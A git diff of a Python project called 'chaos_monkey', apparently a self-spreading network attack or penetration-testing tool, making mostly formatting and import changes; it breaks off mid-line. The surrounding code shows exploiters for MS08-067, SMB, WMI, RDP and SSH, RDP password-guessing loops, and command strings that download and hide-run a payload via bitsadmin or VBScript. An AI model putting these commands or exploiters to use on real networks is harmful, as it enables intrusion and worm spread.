diff --git a/.idea/.name b/.idea/.name
new file mode 100644
index 000000000..50fede467
--- /dev/null
+++ b/.idea/.name
@@ -0,0 +1 @@
+monkey
\ No newline at end of file
diff --git a/.idea/encodings.xml b/.idea/encodings.xml
new file mode 100644
index 000000000..97626ba45
--- /dev/null
+++ b/.idea/encodings.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/misc.xml b/.idea/misc.xml
new file mode 100644
index 000000000..9901744e9
--- /dev/null
+++ b/.idea/misc.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 000000000..09944b1a5
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/monkey.iml b/.idea/monkey.iml
new file mode 100644
index 000000000..e98082abe
--- /dev/null
+++ b/.idea/monkey.iml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 000000000..94a25f7f4
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/workspace.xml b/.idea/workspace.xml
new file mode 100644
index 000000000..788ef506c
--- /dev/null
+++ b/.idea/workspace.xml
@@ -0,0 +1,954 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1448456974376
+
+ 1448456974376
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index e7d1bc61e..504172246 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -1,13 +1,12 @@
-
import os
import sys
-import ntpath
-from network.range import ClassCRange, RelativeRange, FixedRange
+from network.range import FixedRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger
from abc import ABCMeta
import uuid
import types
+
__author__ = 'itamar'
GUID = str(uuid.getnode())
@@ -78,7 +77,7 @@ class Configuration(object):
###########################
### logging config
- ###########################
+ ###########################
use_file_logging = True
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") if sys.platform == "win32" else '/tmp/user-1562'
diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py
index 103d3159a..1a013a38c 100644
--- a/chaos_monkey/control.py
+++ b/chaos_monkey/control.py
@@ -1,13 +1,11 @@
-
import json
-import random
import logging
import requests
import platform
import monkeyfs
from network.info import local_ips
-from socket import gethostname, gethostbyname_ex
-from config import WormConfiguration, Configuration, GUID
+from socket import gethostname
+from config import WormConfiguration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import tunnel
@@ -19,6 +17,7 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
+
class ControlClient(object):
proxies = {}
@@ -32,13 +31,12 @@ class ControlClient(object):
WormConfiguration.current_server = server
- monkey = { 'guid': GUID,
- 'hostname' : hostname,
- 'ip_addresses' : local_ips(),
- 'description' : " ".join(platform.uname()),
- 'config' : WormConfiguration.as_dict(),
- 'parent' : parent,
- }
+ monkey = {'guid': GUID,
+ 'hostname': hostname,
+ 'ip_addresses': local_ips(),
+ 'description': " ".join(platform.uname()),
+ 'config': WormConfiguration.as_dict(),
+ 'parent': parent}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
@@ -75,11 +73,11 @@ class ControlClient(object):
monkey = {}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
- reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
- data=json.dumps(monkey),
- headers={'content-type' : 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
+ reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
+ data=json.dumps(monkey),
+ headers={'content-type' : 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@@ -91,12 +89,11 @@ class ControlClient(object):
return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
- reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
- data=json.dumps(telemetry),
- headers={'content-type' : 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
-
+ reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
+ data=json.dumps(telemetry),
+ headers={'content-type' : 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@@ -106,9 +103,9 @@ class ControlClient(object):
if not WormConfiguration.current_server:
return
try:
- reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
- verify=False,
- proxies=ControlClient.proxies)
+ reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
+ verify=False,
+ proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
@@ -141,7 +138,8 @@ class ControlClient(object):
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
- download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
+ download = requests.get("https://%s/api/monkey/download/%s" %
+ (WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
@@ -159,7 +157,6 @@ class ControlClient(object):
return None
-
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:
@@ -178,6 +175,3 @@ class ControlClient(object):
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
-
-
-
diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py
index 20997cf8e..4da753c72 100644
--- a/chaos_monkey/dropper.py
+++ b/chaos_monkey/dropper.py
@@ -1,4 +1,3 @@
-
import os
import sys
import time
@@ -8,7 +7,6 @@ import pprint
import logging
import subprocess
from ctypes import c_char_p
-from control import ControlClient
from model import MONKEY_CMDLINE
from config import WormConfiguration
@@ -26,14 +24,7 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
- if args:
- dest_path = os.path.expandvars(args[0])
- else:
- dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \
- else WormConfiguration.dropper_target_path_linux)
-
self._monkey_args = args[1:]
-
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]}
@@ -112,8 +103,7 @@ class MonkeyDrops(object):
try:
os.remove(self._config['source_path'])
except Exception, exc:
- LOG.debug("Error removing source file '%s': %s",
- self._config['source_path'], exc)
+ LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py
index 7e820e145..4f1e70cd9 100644
--- a/chaos_monkey/exploit/__init__.py
+++ b/chaos_monkey/exploit/__init__.py
@@ -1,20 +1,20 @@
from abc import ABCMeta, abstractmethod
+from win_ms08_067 import Ms08_067_Exploiter
+from wmiexec import WmiExploiter
+from smbexec import SmbExploiter
+from rdpgrinder import RdpExploiter
+from sshexec import SSHExploiter
__author__ = 'itamar'
+
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host):
- return host.os.get('type') in self._target_os_type
+ return host.os.get('type') in self._target_os_type
@abstractmethod
def exploit_host(self, host, src_path=None):
raise NotImplementedError()
-
-from win_ms08_067 import Ms08_067_Exploiter
-from wmiexec import WmiExploiter
-from smbexec import SmbExploiter
-from rdpgrinder import RdpExploiter
-from sshexec import SSHExploiter
\ No newline at end of file
diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py
index 05057db67..c0db62bd7 100644
--- a/chaos_monkey/exploit/rdpgrinder.py
+++ b/chaos_monkey/exploit/rdpgrinder.py
@@ -1,7 +1,5 @@
import time
-import socket
import threading
-import cffi
import os.path
import twisted.python.log
import rdpy.core.log as rdpy_log
@@ -9,12 +7,12 @@ from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
-from exploit import HostExploiter
-from exploit.tools import HTTPTools
-from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from model.host import VictimHost
-from network.tools import check_port_tcp
-from exploit.tools import get_target_monkey
+from chaos_monkey.exploit import HostExploiter
+from chaos_monkey.exploit.tools import HTTPTools
+from chaos_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
+from chaos_monkey.model.host import VictimHost
+from chaos_monkey.network.tools import check_port_tcp
+from chaos_monkey.exploit.tools import get_target_monkey
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
@@ -24,6 +22,7 @@ DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
+
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
error_msg = 'Unknown'
@@ -33,6 +32,7 @@ def twisted_log_func(*message, **kw):
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
+
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
@@ -44,26 +44,31 @@ rdpy_log.log = rdpy_log_func
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
+
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
+
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
+
class SleepEvent(object):
def __init__(self, interval):
self.interval= interval
+
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
+
def str_to_keys(orig_str):
result = []
for c in orig_str:
@@ -72,6 +77,7 @@ def str_to_keys(orig_str):
result.append(WaitUpdateEvent())
return result
+
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
@@ -86,6 +92,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
self._last_update = 0
self.closed = False
self.success = False
+ self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
@@ -129,7 +136,6 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
-
def onReady(self):
pass
@@ -175,7 +181,7 @@ class CMDClientFactory(rdp.ClientFactory):
@return: RDPClientQt
"""
- #create client observer
+ # create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
@@ -190,10 +196,10 @@ class CMDClientFactory(rdp.ClientFactory):
return self._client
def clientConnectionLost(self, connector, reason):
- #try reconnect with basic RDP security
+ # try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
- #stop nego
+ # stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
@@ -208,6 +214,7 @@ class CMDClientFactory(rdp.ClientFactory):
self.success = False
self.done_event.set()
+
class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
@@ -267,10 +274,8 @@ class RdpExploiter(HostExploiter):
for password in passwords:
try:
# run command using rdp.
-
- LOG.info("Trying rdp logging into victim %r with user"
- " %s and password '%s'", host,
- self._config.psexec_user, password)
+ LOG.info("Trying rdp logging into victim %r with user %s and password '%s'",
+ host, self._config.psexec_user, password)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
@@ -302,4 +307,4 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host)
- return True
\ No newline at end of file
+ return True
diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py
index 6146d21cc..5f7a4315e 100644
--- a/chaos_monkey/exploit/smbexec.py
+++ b/chaos_monkey/exploit/smbexec.py
@@ -1,11 +1,11 @@
import sys
from logging import getLogger
-from model.host import VictimHost
-from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
-from exploit import HostExploiter
-from network.tools import check_port_tcp
-from exploit.tools import SmbTools, get_target_monkey
-from network import SMBFinger
+from chaos_monkey.model.host import VictimHost
+from chaos_monkey.model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
+from chaos_monkey.exploit import HostExploiter
+from chaos_monkey.network.tools import check_port_tcp
+from chaos_monkey.exploit.tools import SmbTools, get_target_monkey
+from chaos_monkey.network import SMBFinger
try:
from impacket import smb
@@ -25,6 +25,7 @@ except ImportError, exc:
LOG = getLogger(__name__)
+
class SmbExploiter(HostExploiter):
_target_os_type = ['windows']
@@ -142,7 +143,7 @@ class SmbExploiter(HostExploiter):
try:
scmr.hRStartServiceW(scmr_rpc, service)
except:
- pass
+ pass
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py
index bb841e3b5..8296831cb 100644
--- a/chaos_monkey/exploit/sshexec.py
+++ b/chaos_monkey/exploit/sshexec.py
@@ -1,11 +1,10 @@
-import os
import paramiko
-import monkeyfs
+from chaos_monkey import monkeyfs
import logging
-from exploit import HostExploiter
-from model import MONKEY_ARG
-from exploit.tools import get_target_monkey
-from network.tools import check_port_tcp
+from chaos_monkey.exploit import HostExploiter
+from chaos_monkey.model import MONKEY_ARG
+from chaos_monkey.exploit.tools import get_target_monkey
+from chaos_monkey.network.tools import check_port_tcp
import time
__author__ = 'hoffer'
@@ -14,6 +13,7 @@ LOG = logging.getLogger(__name__)
SSH_PORT = 22
TRANSFER_UPDATE_RATE = 15
+
class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None]
@@ -32,7 +32,7 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
- for servkey,servdata in host.services.items():
+ for servkey, servdata in host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-',''))
@@ -124,11 +124,11 @@ class SSHExploiter(HostExploiter):
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
- self._config.dropper_target_path_linux, host, cmdline)
+ self._config.dropper_target_path_linux, host, cmdline)
ssh.close()
return True
except Exception, exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
- return False
\ No newline at end of file
+ return False
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index a02f4bc08..f467c4414 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -1,17 +1,15 @@
-
import os
import ntpath
import pprint
import logging
import os.path
-import socket
import urllib
-import monkeyfs
+from chaos_monkey import monkeyfs
from difflib import get_close_matches
-from network import local_ips
-from transport import HTTPServer
-from network.info import get_free_tcp_port
-from network.firewall import app as firewall
+from chaos_monkey.network import local_ips
+from chaos_monkey.transport import HTTPServer
+from chaos_monkey.network.info import get_free_tcp_port
+from chaos_monkey.network.firewall import app as firewall
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT
@@ -25,6 +23,7 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
+
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py
index 2235c02dc..6e79a643f 100644
--- a/chaos_monkey/exploit/win_ms08_067.py
+++ b/chaos_monkey/exploit/win_ms08_067.py
@@ -11,12 +11,12 @@ import time
import socket
from enum import IntEnum
from logging import getLogger
-from model.host import VictimHost
-from model import DROPPER_CMDLINE, MONKEY_CMDLINE
-from exploit import HostExploiter
-from exploit.tools import SmbTools, get_target_monkey
-from network.tools import check_port_tcp
-from network import SMBFinger
+from chaos_monkey.model.host import VictimHost
+from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE
+from chaos_monkey.exploit import HostExploiter
+from chaos_monkey.exploit.tools import SmbTools, get_target_monkey
+from chaos_monkey.network.tools import check_port_tcp
+from chaos_monkey.network import SMBFinger
try:
from impacket import smb
@@ -174,11 +174,10 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type and \
- host.os.get('version') in self._windows_versions.keys():
+ host.os.get('version') in self._windows_versions.keys():
return True
- if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \
- not host.os.get('version')):
+ if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
@@ -260,8 +259,10 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
- try: sock.close()
- except: pass
+ try:
+ sock.close()
+ except:
+ pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py
index 60260c7b3..b8a9512e4 100644
--- a/chaos_monkey/exploit/wmiexec.py
+++ b/chaos_monkey/exploit/wmiexec.py
@@ -1,15 +1,15 @@
-
import socket
import ntpath
import logging
import traceback
-from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
-from model.host import VictimHost
-from exploit import HostExploiter
-from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey
+from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE
+from chaos_monkey.model.host import VictimHost
+from chaos_monkey.exploit import HostExploiter
+from chaos_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey
LOG = logging.getLogger(__name__)
+
class WmiExploiter(HostExploiter):
_target_os_type = ['windows']
@@ -68,7 +68,7 @@ class WmiExploiter(HostExploiter):
LOG.debug("Skipping %r - already infected", host)
return False
- #copy the file remotely using SMB
+ # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
password,
@@ -76,8 +76,8 @@ class WmiExploiter(HostExploiter):
self._config.dropper_target_path)
if not remote_full_path:
- wmi_connection.close()
- return False
+ wmi_connection.close()
+ return False
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py
index 18bbd8b43..e24ead2fe 100644
--- a/chaos_monkey/model/__init__.py
+++ b/chaos_monkey/model/__init__.py
@@ -1,3 +1,5 @@
+from host import VictimHost
+
__author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
@@ -10,5 +12,3 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
-
-from host import VictimHost
\ No newline at end of file
diff --git a/chaos_monkey/model/host.py b/chaos_monkey/model/host.py
index 34ffeb69d..efe12d7cf 100644
--- a/chaos_monkey/model/host.py
+++ b/chaos_monkey/model/host.py
@@ -1,5 +1,6 @@
__author__ = 'itamar'
+
class VictimHost(object):
def __init__(self, ip_addr):
self.ip_addr = ip_addr
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index 3dbdbe5b8..d3e8707b1 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -2,11 +2,10 @@ import sys
import os
import time
import logging
-import platform
from system_singleton import SystemSingleton
from network.firewall import app as firewall
from control import ControlClient
-from config import WormConfiguration, EXTERNAL_CONFIG_FILE
+from config import WormConfiguration
from network.network_scanner import NetworkScanner
import tunnel
import argparse
@@ -17,14 +16,6 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
-# TODO:
-# 1. Remote dating of copied file
-# 2. OS Detection prior to exploit
-# 3. Exploit using token credentials
-# 4. OS Support for exploitation modules (win / linux specific)
-# 5. Linux portability
-# 6. Clear eventlog after exploitation
-# 7. Add colors to logger
class ChaosMonkey(object):
def __init__(self, args):
@@ -35,6 +26,10 @@ class ChaosMonkey(object):
self._parent = None
self._default_tunnel = None
self._args = args
+ self._network = None
+ self._dropper_path = None
+ self._exploiters = None
+ self._fingerprint = None
def initialize(self):
LOG.info("WinWorm is initializing...")
@@ -53,7 +48,6 @@ class ChaosMonkey(object):
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
-
def start(self):
LOG.info("WinWorm is running...")
@@ -97,11 +91,9 @@ class ChaosMonkey(object):
continue
elif machine in self._fail_exploitation_machines:
if WormConfiguration.retry_failed_explotation:
- LOG.debug("%r - exploitation failed before, trying again",
- machine)
+ LOG.debug("%r - exploitation failed before, trying again", machine)
else:
- LOG.debug("Skipping %r - exploitation failed before",
- machine)
+ LOG.debug("Skipping %r - exploitation failed before", machine)
continue
successful_exploiter = None
@@ -147,7 +139,6 @@ class ChaosMonkey(object):
else:
self._fail_exploitation_machines.add(machine)
-
time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running and WormConfiguration.alive:
diff --git a/chaos_monkey/monkeyfs.py b/chaos_monkey/monkeyfs.py
index 13ab3e92e..5e10688bf 100644
--- a/chaos_monkey/monkeyfs.py
+++ b/chaos_monkey/monkeyfs.py
@@ -7,10 +7,11 @@ MONKEYFS_PREFIX = 'monkeyfs://'
open_orig = open
-class VirtualFile(BytesIO):
- _vfs = {} #virtual File-System
- def __init__(self, name, mode = 'r', buffering = None):
+class VirtualFile(BytesIO):
+ _vfs = {} # virtual File-System
+
+ def __init__(self, name, mode='r', buffering=None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
@@ -32,23 +33,27 @@ class VirtualFile(BytesIO):
def isfile(path):
return VirtualFile._vfs.has_key(path)
+
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
else:
return os.stat(path).st_size
+
def isfile(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.isfile(path)
else:
return os.path.isfile(path)
+
def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
+
def open(name, mode='r', buffering=-1):
- #use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
+ # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
else:
diff --git a/chaos_monkey/network/__init__.py b/chaos_monkey/network/__init__.py
index c0d911bdf..6ea3e7504 100644
--- a/chaos_monkey/network/__init__.py
+++ b/chaos_monkey/network/__init__.py
@@ -1,9 +1,14 @@
-
from abc import ABCMeta, abstractmethod
-import socket
+from ping_scanner import PingScanner
+from tcp_scanner import TcpScanner
+from smbfinger import SMBFinger
+from sshfinger import SSHFinger
+from info import local_ips
+from info import get_free_tcp_port
__author__ = 'itamar'
+
class HostScanner(object):
__metaclass__ = ABCMeta
@@ -11,17 +16,10 @@ class HostScanner(object):
def is_host_alive(self, host):
raise NotImplementedError()
+
class HostFinger(object):
__metaclass__ = ABCMeta
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
-
-
-from ping_scanner import PingScanner
-from tcp_scanner import TcpScanner
-from smbfinger import SMBFinger
-from sshfinger import SSHFinger
-from info import local_ips
-from info import get_free_tcp_port
\ No newline at end of file
diff --git a/chaos_monkey/network/firewall.py b/chaos_monkey/network/firewall.py
index 003da8613..21c05203b 100644
--- a/chaos_monkey/network/firewall.py
+++ b/chaos_monkey/network/firewall.py
@@ -2,6 +2,7 @@ import subprocess
import sys
import platform
+
class FirewallApp(object):
def is_enabled(self, **kwargs):
return False
@@ -24,8 +25,10 @@ class FirewallApp(object):
def close(self):
return
+
def _run_netsh_cmd(command, args):
- cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"'%(key,value) for key,value in args.items() if value])), stdout=subprocess.PIPE)
+ cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in args.items()
